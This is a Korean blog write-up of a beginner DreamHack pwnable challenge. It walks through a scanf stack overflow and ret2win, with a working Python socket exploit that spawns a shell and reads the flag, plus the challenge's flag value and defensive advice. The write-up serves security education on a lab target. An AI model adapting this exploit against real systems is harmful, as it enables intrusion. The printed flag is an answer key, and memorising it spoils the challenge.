[๐Ÿฅ‰ Bronze 4] ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ get_shell ๋กœ ๋ฎ๋Š”๋‹ค โ€” DreamHack Return Address Overwrite ํ’€์ด

2026-06-25ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‰ Bronze 4] ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ get_shell ๋กœ ๋ฎ๋Š”๋‹ค โ€” DreamHack Return Address Overwrite ํ’€์ด

scanf("%s") ๋กœ ์Šคํƒ ๋ฒ„ํผ๋ฅผ ๋„˜์ณ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฎ๋Š”, pwnable ์ž…๋ฌธ์˜ ์ •์„. NX ๊ฐ€ ์ผœ์ ธ ์žˆ์–ด ์Šคํƒ ์…ธ์ฝ”๋“œ๋Š” ๋ชป ์˜ฌ๋ฆฌ์ง€๋งŒ ๋ฐ”์ด๋„ˆ๋ฆฌ ์•ˆ์— execve("/bin/sh") ๋ฅผ ๋ถ€๋ฅด๋Š” get_shell ํ•จ์ˆ˜๊ฐ€ ์ด๋ฏธ ์žˆ๋‹ค. ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๊ทธ ํ•จ์ˆ˜ ์ฃผ์†Œ๋กœ ๋ฎ์–ด ํ๋ฆ„์„ ๊ฐ€์ ธ์˜ค๋Š” ์ฝ”๋“œ ์žฌ์‚ฌ์šฉ(ret2win) ๊ธฐ๋ฒ•์œผ๋กœ ์…ธ์„ ๋„์šด๋‹ค.

๋ฌธ์ œ: DreamHack โ€” Return Address Overwrite ๋ถ„๋ฅ˜: Pwnable ๋‚œ์ด๋„: ๐Ÿฅ‰ Bronze 4 FLAG: DH{5f47cd0e441bdc6ce8bf6b8a3a0608dc}

๋ฌธ์ œ ์ด๋ฆ„์ด ๊ณง ํ’€์ด๋‹ค. ๋ฐ˜ํ™˜ ์ฃผ์†Œ(return address)๋ฅผ ๋ฎ์–ด์“ฐ๋Š” ๊ฒƒ. pwnable ์„ ์ฒ˜์Œ ๋ฐฐ์šธ ๋•Œ ๊ฑฐ์˜ ๋ฐ˜๋“œ์‹œ ๊ฑฐ์น˜๋Š” "์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ โ†’ ๋ฐ˜ํ™˜ ์ฃผ์†Œ ์žฅ์•…" ์˜ ๊ฐ€์žฅ ๊นจ๋—ํ•œ ํ˜•ํƒœ๋‹ค.

์ด๋ฒˆ์—” NX ๊ฐ€ ์ผœ์ ธ ์žˆ์–ด ์Šคํƒ์— ์…ธ์ฝ”๋“œ๋ฅผ ์˜ฌ๋ ค ๋›ฐ๋Š” ๊ฑด ๋ง‰ํ˜€ ์žˆ๋‹ค. ๋Œ€์‹  ๋ฐ”์ด๋„ˆ๋ฆฌ ์•ˆ์— execve("/bin/sh") ๋ฅผ ๋ถ€๋ฅด๋Š” get_shell ํ•จ์ˆ˜๊ฐ€ ์นœ์ ˆํ•˜๊ฒŒ ๋“ค์–ด ์žˆ๋‹ค. ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๊ทธ ํ•จ์ˆ˜๋กœ ๋Œ๋ฆฌ๋ฉด ๋ โ€” ์ฝ”๋“œ ์žฌ์‚ฌ์šฉ(ret2win) ์ด๋‹ค.

๋ฐ˜ํ™˜ ์ฃผ์†Œ ๋ฎ์–ด์“ฐ๊ธฐ โ€” buf ๋ฅผ ๋„˜์ณ ret ๋ฅผ get_shell ์ฃผ์†Œ๋กœ
๋ฐ˜ํ™˜ ์ฃผ์†Œ ๋ฎ์–ด์“ฐ๊ธฐ โ€” buf ๋ฅผ ๋„˜์ณ ret ๋ฅผ get_shell ์ฃผ์†Œ๋กœ

๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…Return Address Overwrite
๋‚œ์ด๋„๐Ÿฅ‰ Bronze 4
๋ถ„๋ฅ˜Pwnable
์ œ๊ณต64๋น„ํŠธ ELF ๋ฐ”์ด๋„ˆ๋ฆฌ + ์†Œ์Šค + ์›๊ฒฉ ์„œ๋ฒ„
ํ•ต์‹ฌ ์ทจ์•ฝ์ scanf("%s") ์Šคํƒ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ โ†’ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ get_shell ๋กœ ๋ฎ๊ธฐ (ret2win)

ํ’€์ด๋Š” ์งง๋‹ค. โ‘  ์†Œ์Šค์™€ ๋ณดํ˜ธ๊ธฐ๋ฒ•์„ ๋ณธ๋‹ค โ†’ โ‘ก get_shell ์ฃผ์†Œ์™€ bufโ†’ret ๊ฑฐ๋ฆฌ๋ฅผ ๋””์Šค์–ด์…ˆ๋ธ”๋กœ ์žก๋Š”๋‹ค โ†’ โ‘ข ๋ฒ„ํผ+ํŒจ๋”ฉ + get_shell ์ฃผ์†Œ ๋ฅผ ๋ณด๋‚ด ret ๋ฅผ ๋ฎ๋Š”๋‹ค โ†’ โ‘ฃ gdb ๋กœ RIP ๊ฐ€ ์ •๋ง get_shell ๋กœ ๊ฐ€๋Š”์ง€ ํ™•์ธํ•˜๊ณ  ์›๊ฒฉ์—์„œ ์…ธ์„ ๋„์šด๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” ๋ฐ˜ํ™˜ ์ฃผ์†Œ์™€ ์ฝ”๋“œ ์žฌ์‚ฌ์šฉ

ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด CPU ๋Š” "๋๋‚˜๊ณ  ๋Œ์•„์˜ฌ ์ฃผ์†Œ(๋ฐ˜ํ™˜ ์ฃผ์†Œ)" ๋ฅผ ์Šคํƒ์— ์Œ“๋Š”๋‹ค. ํ•จ์ˆ˜๊ฐ€ ret ๋กœ ๋๋‚  ๋•Œ ์Šคํƒ์—์„œ ๊ทธ ์ฃผ์†Œ๋ฅผ ๊บผ๋‚ด ๊ทธ๋ฆฌ๋กœ ์ ํ”„ํ•œ๋‹ค. ๊ทธ๋ž˜์„œ ์Šคํƒ์˜ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋‚ด๊ฐ€ ์›ํ•˜๋Š” ๊ฐ’์œผ๋กœ ๋ฎ์œผ๋ฉด, ํ•จ์ˆ˜๊ฐ€ ๋๋‚˜๋Š” ์ˆœ๊ฐ„ ์‹คํ–‰ ํ๋ฆ„์„ ํ†ต์งธ๋กœ ๊ฐ€์ ธ์˜จ๋‹ค.

์ง€์—ญ ๋ฒ„ํผ์— ๊ทธ ํฌ๊ธฐ๋ณด๋‹ค ๋งŽ์ด ์“ฐ๋ฉด ์ธ์ ‘ํ•œ ์Šคํƒ ์˜์—ญ(์ €์žฅ๋œ ๋ ˆ์ง€์Šคํ„ฐ, ๊ทธ๋ฆฌ๊ณ  ๋ฐ˜ํ™˜ ์ฃผ์†Œ)์„ ์นจ๋ฒ”ํ•œ๋‹ค.

๋ฒ„ํผ ๊ฒฝ๊ณ„๋ฅผ ๋„˜์–ด ์ธ์ ‘ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋ฎ์–ด์“ฐ๋Š” ๋ชจ์Šต
๋ฒ„ํผ ๊ฒฝ๊ณ„๋ฅผ ๋„˜์–ด ์ธ์ ‘ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋ฎ์–ด์“ฐ๋Š” ๋ชจ์Šต

์ถœ์ฒ˜: Wikimedia Commons, WhoAteMyButter, CC0

์˜ˆ์ „ ๋ฌธ์ œ(basic_exploitation_000)์—์„œ๋Š” NX ๊ฐ€ ๊บผ์ ธ ์žˆ์–ด์„œ ์Šคํƒ์— ์…ธ์ฝ”๋“œ๋ฅผ ์ง์ ‘ ์˜ฌ๋ ค ๊ฑฐ๊ธฐ๋กœ ์ ํ”„ํ–ˆ๋‹ค. ์ด๋ฒˆ์—” NX ๊ฐ€ ์ผœ์ ธ ์žˆ๋‹ค โ€” ์Šคํƒ์€ ๋ฐ์ดํ„ฐ์ผ ๋ฟ ์‹คํ–‰์ด ์•ˆ ๋œ๋‹ค. ๊ทธ๋ž˜์„œ ์…ธ์ฝ”๋“œ๋ฅผ ๋ชป ์˜ฌ๋ฆฐ๋‹ค.

๋Œ€์‹  ๊ธธ์€ ๋” ์‰ฝ๋‹ค. ๋ฐ”์ด๋„ˆ๋ฆฌ ์•ˆ์— ์ด๋ฏธ execve("/bin/sh") ๋ฅผ ๋ถ€๋ฅด๋Š” get_shell ํ•จ์ˆ˜๊ฐ€ ์žˆ๋‹ค. ๋‚ด๊ฐ€ ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•  ํ•„์š” ์—†์ด, ์ด๋ฏธ ์žˆ๋Š” ์ฝ”๋“œ๋ฅผ ์žฌ์‚ฌ์šฉ ํ•˜๋ฉด ๋œ๋‹ค. ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ get_shell ์ฃผ์†Œ๋กœ ๋ฎ๋Š” ๊ฒƒ โ€” ์ด๊ฒŒ ret2win(return-to-win) ์ด๋‹ค.


๐Ÿ”ฌ ์ •์ฐฐ โ€” ์†Œ์Šค์™€ ๋ณดํ˜ธ๊ธฐ๋ฒ•

์†Œ์Šค๋Š” ๊ตฐ๋”๋”๊ธฐ๊ฐ€ ์—†๋‹ค.

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);          // ์ด ํ•จ์ˆ˜๋งŒ ๋ถ€๋ฅด๋ฉด ์…ธ์ด ๋œฌ๋‹ค
}
 
int main() {
  char buf[0x28];
  init();
  printf("Input: ");
  scanf("%s", buf);                  // ๊ธธ์ด ์ œํ•œ ์—†๋Š” ์ž…๋ ฅ โ†’ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ
  return 0;
}

scanf("%s", buf) ๋Š” ๊ธธ์ด ์ œํ•œ์ด ์—†๋‹ค. buf ๊ฐ€ 0x28 ๋ฐ”์ดํŠธ์ธ๋ฐ ๊ทธ๋ณด๋‹ค ๊ธธ๊ฒŒ ๋„ฃ์œผ๋ฉด ๊ทธ๋Œ€๋กœ ๋„˜์นœ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์ปดํŒŒ์ผ ์˜ต์…˜์ด -fno-stack-protector -no-pie โ€” ์นด๋‚˜๋ฆฌ๋„ ์—†๊ณ  PIE ๋„ ์•„๋‹ˆ๋‹ค.

๋ณดํ˜ธ๊ธฐ๋ฒ•์„ ํ™•์ธํ•œ๋‹ค.

file rao
readelf -l rao | grep GNU_STACK     # NX
readelf -h rao | grep Type           # PIE
readelf -s rao | grep __stack_chk    # Canary
nm rao | grep get_shell              # get_shell ์ฃผ์†Œ
demo_checksec.sh ์‹คํ–‰ ํ™”๋ฉด โ€” rao ๋Š” x86-64 ELF ์ด๊ณ  NX on ์ด๋ผ ์Šคํƒ ์…ธ์ฝ”๋“œ๊ฐ€ ๋ง‰ํžˆ์ง€๋งŒ PIE no, Canary no ๋ผ ์ฃผ์†Œ๊ฐ€ ๊ณ ์ •์ด๋ฉฐ get_shell ์ด 0x00000000004006aa ์— ์žˆ๋‹ค
demo_checksec.sh ์‹คํ–‰ ํ™”๋ฉด โ€” rao ๋Š” x86-64 ELF ์ด๊ณ  NX on ์ด๋ผ ์Šคํƒ ์…ธ์ฝ”๋“œ๊ฐ€ ๋ง‰ํžˆ์ง€๋งŒ PIE no, Canary no ๋ผ ์ฃผ์†Œ๊ฐ€ ๊ณ ์ •์ด๋ฉฐ get_shell ์ด 0x00000000004006aa ์— ์žˆ๋‹ค

์ •๋ฆฌํ•˜๋ฉด NX ์ผœ์ง(์Šคํƒ ์…ธ์ฝ”๋“œ ๋ถˆ๊ฐ€), No PIE(์ฃผ์†Œ ๊ณ ์ •), No Canary(์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๊นŒ์ง€ ๋‹ฟ์Œ). NX ๋•Œ๋ฌธ์— ์…ธ์ฝ”๋“œ๋Š” ๋ชป ์“ฐ์ง€๋งŒ, No PIE ๋ผ get_shell ์ฃผ์†Œ๊ฐ€ 0x4006aa ๋กœ ๊ณ ์ •์ด๊ณ  No Canary ๋ผ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ง‰๋Š” ๊ฒŒ ์—†๋‹ค. ์ฝ”๋“œ ์žฌ์‚ฌ์šฉ์— ๋”ฑ ๋งž๋Š” ์กฐ๊ฑด์ด๋‹ค.

์ด์ œ buf ๊ฐ€ ์Šคํƒ ์–ด๋””์— ์žˆ๋Š”์ง€, ๋ฐ˜ํ™˜ ์ฃผ์†Œ๊นŒ์ง€ ๊ฑฐ๋ฆฌ๊ฐ€ ์–ผ๋งˆ์ธ์ง€ ๋””์Šค์–ด์…ˆ๋ธ”๋กœ ์žก๋Š”๋‹ค.

objdump -d -M intel rao | sed -n '/<main>:/,/ret/p'
main ๋””์Šค์–ด์…ˆ๋ธ” ํ™”๋ฉด โ€” demo_disasm.sh ๊ฐ€ objdump ๊ฒฐ๊ณผ๋ฅผ ์ฐ์—ˆ๊ณ  sub rsp,0x30 ์œผ๋กœ ํ”„๋ ˆ์ž„์„ ์žก์€ ๋’ค lea rax,(rbp-0x30) ์œผ๋กœ ์ž…๋ ฅ ๋ฒ„ํผ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•ด rsi ์— ์‹ค์–ด ๋„˜๊ธด๋‹ค
main ๋””์Šค์–ด์…ˆ๋ธ” ํ™”๋ฉด โ€” demo_disasm.sh ๊ฐ€ objdump ๊ฒฐ๊ณผ๋ฅผ ์ฐ์—ˆ๊ณ  sub rsp,0x30 ์œผ๋กœ ํ”„๋ ˆ์ž„์„ ์žก์€ ๋’ค lea rax,(rbp-0x30) ์œผ๋กœ ์ž…๋ ฅ ๋ฒ„ํผ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•ด rsi ์— ์‹ค์–ด ๋„˜๊ธด๋‹ค

lea rax,[rbp-0x30] ์ด scanf ์˜ ์ธ์ž(buf)๋‹ค โ€” buf ๋Š” rbp-0x30. 64๋น„ํŠธ ์Šคํƒ ํ”„๋ ˆ์ž„์€ buf โ†’ ์ €์žฅ๋œ rbp(8) โ†’ ๋ฐ˜ํ™˜ ์ฃผ์†Œ(8) ์ˆœ์ด๋‹ˆ, buf ์—์„œ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๊นŒ์ง€ ๊ฑฐ๋ฆฌ๋Š” 0x30 + 8 = 0x38 = 56๋ฐ”์ดํŠธ๋‹ค.

get_shell ๋„ ํ™•์ธํ•œ๋‹ค. ์ •๋ง execve ๋ฅผ ๋ถ€๋ฅด๋Š”์ง€.

objdump -d -M intel rao | sed -n '/<get_shell>:/,/^$/p'
get_shell ๋””์Šค์–ด์…ˆ๋ธ” ํ™”๋ฉด โ€” 0x4006aa ๋ถ€ํ„ฐ rbp-0x8 ์— ๋ฌธ์ž์—ด ํฌ์ธํ„ฐ๋ฅผ ๋„ฃ๊ณ  rcx, edx, rsi, rdi ๋ฅผ ์„ธํŒ…ํ•œ ๋’ค 0x4006e0 ์—์„œ execve@plt ๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ํ๋ฆ„์ด ๋ณด์ธ๋‹ค
get_shell ๋””์Šค์–ด์…ˆ๋ธ” ํ™”๋ฉด โ€” 0x4006aa ๋ถ€ํ„ฐ rbp-0x8 ์— ๋ฌธ์ž์—ด ํฌ์ธํ„ฐ๋ฅผ ๋„ฃ๊ณ  rcx, edx, rsi, rdi ๋ฅผ ์„ธํŒ…ํ•œ ๋’ค 0x4006e0 ์—์„œ execve@plt ๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ํ๋ฆ„์ด ๋ณด์ธ๋‹ค

get_shell ๋์— call execve@plt ๊ฐ€ ์žˆ๋‹ค. system ์ด ์•„๋‹ˆ๋ผ execve ๋ฅผ ์ง์ ‘ ๋ถ€๋ฅธ๋‹ค๋Š” ๊ฒŒ ์ž‘์ง€๋งŒ ์ค‘์š”ํ•œ ํฌ์ธํŠธ๋‹ค(๋’ค์—์„œ ๋‹ค๋ฃฌ๋‹ค).


๐Ÿ’ฃ ์ทจ์•ฝ์  โ€” ์˜คํ”„์…‹๊ณผ ํŽ˜์ด๋กœ๋“œ

๊ณ„ํš์€ ํ•œ ์ค„์ด๋‹ค. 56๋ฐ”์ดํŠธ๋กœ buf ์™€ ์ €์žฅ๋œ rbp ๋ฅผ ์ฑ„์šด ๋’ค, ๋ฐ˜ํ™˜ ์ฃผ์†Œ ์ž๋ฆฌ์— get_shell ์ฃผ์†Œ๋ฅผ ๋„ฃ๋Š”๋‹ค.

[ "A" * 56 ][ p64(0x4006aa) ]
  buf+ํŒจ๋”ฉ      ๋ฐ˜ํ™˜ ์ฃผ์†Œ = get_shell

main ์ด ret ํ•˜๋Š” ์ˆœ๊ฐ„, CPU ๋Š” ์Šคํƒ์—์„œ 0x4006aa ๋ฅผ ๊บผ๋‚ด get_shell ๋กœ ์ ํ”„ํ•œ๋‹ค. ๊ทธ ์•ˆ์˜ execve("/bin/sh") ๊ฐ€ ์…ธ์„ ๋„์šด๋‹ค.

โ–ถ๐Ÿ› ์งš์–ด๋‘˜ ์  โ€” system ์ด ์•„๋‹ˆ๋ผ execve ๋ผ movaps ์ •๋ ฌ ์ด์Šˆ๊ฐ€ ์—†๋‹ค

64๋น„ํŠธ์—์„œ ret2win ์œผ๋กœ system("/bin/sh") ์„ ๋ถ€๋ฅผ ๋•Œ ์ข…์ข… movaps ์ •๋ ฌ ํฌ๋ž˜์‹œ๋ฅผ ๋งŒ๋‚œ๋‹ค. libc ์˜ system ๋‚ด๋ถ€๊ฐ€ SSE ๋ช…๋ น(movaps)์„ ์“ฐ๋Š”๋ฐ, ์ด๊ฑด ์Šคํƒ์ด 16๋ฐ”์ดํŠธ ์ •๋ ฌ๋ผ ์žˆ์–ด์•ผ ๋™์ž‘ํ•œ๋‹ค. ret ๋กœ ํ•จ์ˆ˜์— ์ง„์ž…ํ•˜๋ฉด ์ •๋ ฌ์ด 8๋ฐ”์ดํŠธ ์–ด๊ธ‹๋‚˜ ์žˆ์–ด์„œ ํฌ๋ž˜์‹œ๊ฐ€ ๋‚˜๊ณ , ๋ณดํ†ต ret ๊ฐ€์ ฏ ํ•˜๋‚˜๋ฅผ ์•ž์— ๋ผ์›Œ ์ •๋ ฌ์„ ๋งž์ถ˜๋‹ค.

์ด ๋ฌธ์ œ๋Š” get_shell ์ด system ์ด ์•„๋‹ˆ๋ผ execve ๋ฅผ ์ง์ ‘ ๋ถ€๋ฅธ๋‹ค. execve ๋Š” ์–‡์€ ์‹œ์Šคํ…œ์ฝœ ๋ž˜ํผ๋ผ ๊ทธ๋Ÿฐ SSE ๊ฒฝ๋กœ๊ฐ€ ์—†์–ด์„œ ์ •๋ ฌ ์ด์Šˆ๊ฐ€ ์—†๋‹ค. ๊ทธ๋ž˜์„œ ๊ฐ€์ ฏ ์—†์ด get_shell ์ฃผ์†Œ ํ•˜๋‚˜๋กœ ๊น”๋”ํ•˜๊ฒŒ ๋๋‚œ๋‹ค.


๐ŸŽฏ gdb ๋กœ ํ™•์ธ โ€” RIP ๊ฐ€ ์ •๋ง get_shell ๋กœ ๊ฐ€๋Š”๊ฐ€

์›๊ฒฉ์— ๋˜์ง€๊ธฐ ์ „์—, ๋ฐ˜ํ™˜ ์ฃผ์†Œ ๋ฎ์–ด์“ฐ๊ธฐ๊ฐ€ ์‹ค์ œ๋กœ RIP ๋ฅผ get_shell ๋กœ ๋Œ๋ฆฌ๋Š”์ง€ ๋””๋ฒ„๊ฑฐ๋กœ ํ™•์ธํ–ˆ๋‹ค. get_shell ์ง„์ž…์ (0x4006aa)์— ๋ธŒ๋ ˆ์ดํฌ๋ฅผ ๊ฑธ๊ณ  ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ž…๋ ฅ์œผ๋กœ ๋„ฃ์–ด ๋ณธ๋‹ค.

python3 -c "import sys,struct; sys.stdout.buffer.write(b'A'*0x38 + struct.pack('<Q',0x4006aa) + b'\n')" > /tmp/rao_pay
gdb -q -batch -ex 'break *0x4006aa' -ex 'run < /tmp/rao_pay' -ex 'x/4i $rip' rao
gdb ์‹คํ–‰ ํ™”๋ฉด โ€” 0x4006aa ์— ๋ธŒ๋ ˆ์ดํฌ๋ฅผ ๊ฑธ๊ณ  ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋„ฃ์ž Breakpoint 1, 0x00000000004006aa in get_shell ์—์„œ ๋ฉˆ์ท„๊ณ  x/4i ๊ฐ€ get_shell ์ฒซ ๋ช…๋ น๋“ค์„ ๋ณด์—ฌ์ค€๋‹ค
gdb ์‹คํ–‰ ํ™”๋ฉด โ€” 0x4006aa ์— ๋ธŒ๋ ˆ์ดํฌ๋ฅผ ๊ฑธ๊ณ  ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋„ฃ์ž Breakpoint 1, 0x00000000004006aa in get_shell ์—์„œ ๋ฉˆ์ท„๊ณ  x/4i ๊ฐ€ get_shell ์ฒซ ๋ช…๋ น๋“ค์„ ๋ณด์—ฌ์ค€๋‹ค

Breakpoint 1, 0x00000000004006aa in get_shell () โ€” ์ •ํ™•ํžˆ get_shell ์— ๋ฉˆ์ท„๋‹ค. main ์˜ ret ๊ฐ€ ์šฐ๋ฆฌ๊ฐ€ ๋„ฃ์€ 0x4006aa ๋ฅผ ๊บผ๋‚ด ๊ทธ๋ฆฌ๋กœ ์ ํ”„ํ–ˆ๋‹ค๋Š” ์ฆ๊ฑฐ๋‹ค. ํ๋ฆ„ ์žฅ์•…์ด ํ™•์ธ๋์œผ๋‹ˆ ์›๊ฒฉ์— ๊ทธ๋Œ€๋กœ ์ ์šฉํ•œ๋‹ค.



๐Ÿš€ Full Exploit

์›๊ฒฉ์€ Input: ํ”„๋กฌํ”„ํŠธ๋ฅผ ๋ฐ›๊ณ  ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋ณด๋‚ด๋ฉด ๋œ๋‹ค. pwntools ์—†์ด raw ์†Œ์ผ“์œผ๋กœ ์ถฉ๋ถ„ํ•˜๋‹ค.

#!/usr/bin/env python3
# Return Address Overwrite โ€” ret ๋ฅผ get_shell ๋กœ ๋ฎ๊ธฐ (raw ์†Œ์ผ“)
import socket, struct, re, sys, time
 
HOST, PORT = "host3.dreamhack.games", 14805
if len(sys.argv) >= 3:
    HOST, PORT = sys.argv[1], int(sys.argv[2])
 
GET_SHELL = 0x4006aa
OFF = 0x38                       # buf -> ๋ฐ˜ํ™˜ ์ฃผ์†Œ = 0x30 + 8
 
def recv_until(s, m, t=5):
    s.settimeout(t); b = b""
    while m not in b:
        d = s.recv(4096)
        if not d: break
        b += d
    return b
 
s = socket.socket(); s.connect((HOST, PORT))
recv_until(s, b"Input: ")
payload = b"A" * OFF + struct.pack("<Q", GET_SHELL)
s.sendall(payload + b"\n"); time.sleep(0.4)
# ret -> get_shell -> execve("/bin/sh"); ์…ธ์—์„œ flag ํšŒ์ˆ˜ (flag ๋Š” ํ™ˆ ๋””๋ ‰ํ† ๋ฆฌ)
s.sendall(b"cat /home/rao/flag\n"); time.sleep(0.6)
out = b""; s.settimeout(3)
try:
    while True:
        d = s.recv(4096)
        if not d: break
        out += d
except (socket.timeout, ConnectionResetError):
    pass
m = re.search(rb"DH\{[^}]*\}", out)
if m:
    print(">>> FLAG:", m.group(0).decode())

64๋ฐ”์ดํŠธ์งœ๋ฆฌ ํŽ˜์ด๋กœ๋“œ ํ•œ ๋ฐฉ์ด๋ฉด ์…ธ์ด ๋œจ๊ณ , ํ™ˆ ๋””๋ ‰ํ† ๋ฆฌ์˜ flag ๋ฅผ ์ฝ์–ด ์˜จ๋‹ค.

์›๊ฒฉ ์ต์Šคํ”Œ๋กœ์ž‡ ์‹คํ–‰ ํ™”๋ฉด โ€” solve.py ๊ฐ€ A ๋ฅผ 0x38 ๋ฐ”์ดํŠธ ์ฑ„์šฐ๊ณ  ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ get_shell 0x4006aa ๋กœ ๋ฎ์–ด ์…ธ์„ ์žก์€ ๋’ค ํ™ˆ ๋””๋ ‰ํ† ๋ฆฌ์˜ flag ๋ฅผ ์ฝ์–ด ์ถœ๋ ฅํ–ˆ๋‹ค
์›๊ฒฉ ์ต์Šคํ”Œ๋กœ์ž‡ ์‹คํ–‰ ํ™”๋ฉด โ€” solve.py ๊ฐ€ A ๋ฅผ 0x38 ๋ฐ”์ดํŠธ ์ฑ„์šฐ๊ณ  ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ get_shell 0x4006aa ๋กœ ๋ฎ์–ด ์…ธ์„ ์žก์€ ๋’ค ํ™ˆ ๋””๋ ‰ํ† ๋ฆฌ์˜ flag ๋ฅผ ์ฝ์–ด ์ถœ๋ ฅํ–ˆ๋‹ค
[*] payload 64 bytes, ret -> get_shell 0x4006aa
>>> FLAG: DH{5f47cd0e441bdc6ce8bf6b8a3a0608dc}


๐Ÿ“ ๊ฒฐ๋ก 

์…ธ์ฝ”๋“œ๊ฐ€ ๋ง‰ํžˆ๋ฉด, ์ด๋ฏธ ์žˆ๋Š” ์ฝ”๋“œ๋ฅผ ์žฌ์‚ฌ์šฉํ•˜๋ฉด ๋œ๋‹ค.

NX ๊ฐ€ ์Šคํƒ ์‹คํ–‰์„ ๋ง‰์•„๋„, ๋ฐ”์ด๋„ˆ๋ฆฌ ์•ˆ์— ์“ธ ๋งŒํ•œ ์ฝ”๋“œ(์—ฌ๊ธฐ์„  get_shell)๊ฐ€ ์žˆ์œผ๋ฉด ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๊ทธ๋ฆฌ๋กœ ๋Œ๋ฆฌ๋Š” ๊ฒƒ๋งŒ์œผ๋กœ ๋๋‚œ๋‹ค. ์ด๊ฒŒ ์ฝ”๋“œ ์žฌ์‚ฌ์šฉ(ret2win)์˜ ์ถœ๋ฐœ์ ์ด๊ณ , ๋” ์ผ๋ฐ˜์ ์œผ๋กœ๋Š” ๊ฐ€์ ฏ๋“ค์„ ์—ฎ๋Š” ROP ๋กœ ํ™•์žฅ๋œ๋‹ค.

์ด ๋ฌธ์ œ๊ฐ€ ๊ฐ€๋ฅด์น˜๋Š” ๊ฑด ๊ฒฐ๊ตญ ๋‘ ๊ฐ€์ง€๋‹ค. ์ฒซ์งธ, ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋Š” ์Šคํƒ ์œ„์˜ ๊ทธ๋ƒฅ ๋ฐ์ดํ„ฐ โ€” ๋„˜์ณ์„œ ๋ฎ์„ ์ˆ˜ ์žˆ์œผ๋ฉด ์‹คํ–‰ ํ๋ฆ„์ด ๋‚ด ๊ฒƒ์ด ๋œ๋‹ค. ๋‘˜์งธ, ๋ณดํ˜ธ๊ธฐ๋ฒ•์€ ํ•˜๋‚˜๋ผ๋„ ๋น ์ง€๋ฉด ๊ธธ์ด ์—ด๋ฆฐ๋‹ค. ์นด๋‚˜๋ฆฌ๊ฐ€ ์žˆ์—ˆ๋‹ค๋ฉด ๋ฐ˜ํ™˜ ์ฃผ์†Œ ์•ž์—์„œ ๊ฑธ๋ ธ์„ ๊ฒƒ์ด๊ณ , PIE ์˜€๋‹ค๋ฉด get_shell ์ฃผ์†Œ๋ฅผ ๋จผ์ € ๋ˆ„์ถœํ•ด์•ผ ํ–ˆ์„ ๊ฒƒ์ด๋‹ค.

๋ฐฉ์–ด ๊ด€์ ์—์„œ ์ •๋ฆฌํ•˜๋ฉด:

  • ๊ฒฝ๊ณ„ ์žˆ๋Š” ์ž…๋ ฅ์„ ์จ๋ผ. scanf("%s") ๋Œ€์‹  scanf("%39s") ์ฒ˜๋Ÿผ ํญ์„ ์ง€์ •ํ•˜๊ฑฐ๋‚˜ fgets(buf, sizeof(buf), stdin) ์„ ์“ด๋‹ค. ์ด ํ•œ ์ค„์ด ์ „๋ถ€๋ฅผ ๋ง‰๋Š”๋‹ค.

  • ์Šคํƒ ์นด๋‚˜๋ฆฌ๋ฅผ ์ผœ๋ผ. -fstack-protector ๊ฐ€ ์žˆ์œผ๋ฉด ๋ฐ˜ํ™˜ ์ฃผ์†Œ ์•ž ์นด๋‚˜๋ฆฌ๊ฐ€ ๊นจ์ง„ ๊ฑธ ๊ฐ์ง€ํ•ด ์ข…๋ฃŒํ•œ๋‹ค. ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ์ž์ฒด๋Š” ๋ง‰์ง€ ๋ชปํ•ด๋„ ํ๋ฆ„ ์žฅ์•…์€ ์–ด๋ ค์›Œ์ง„๋‹ค.

  • PIE ๋ฅผ ์ผœ๋ผ. get_shell ๊ฐ™์€ ์ฝ”๋“œ ์ฃผ์†Œ๊ฐ€ ๋งค๋ฒˆ ๋ฐ”๋€Œ๋ฉด, ์ฃผ์†Œ ๋ˆ„์ถœ์ด๋ผ๋Š” ๋‹จ๊ณ„๊ฐ€ ํ•˜๋‚˜ ๋” ํ•„์š”ํ•ด์ง„๋‹ค.

์ž…๋ฌธ ๋ฌธ์ œ์ง€๋งŒ "๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฎ์œผ๋ฉด ํ๋ฆ„์„ ๊ฐ€์ ธ์˜จ๋‹ค" ๋Š”, ์ดํ›„ ๋ชจ๋“  ๋ฉ”๋ชจ๋ฆฌ ์ต์Šค์˜ ํ† ๋Œ€๊ฐ€ ๋˜๋Š” ๊ฐ๊ฐ์„ ์ •ํ™•ํžˆ ์งš์–ด ์ค€๋‹ค.
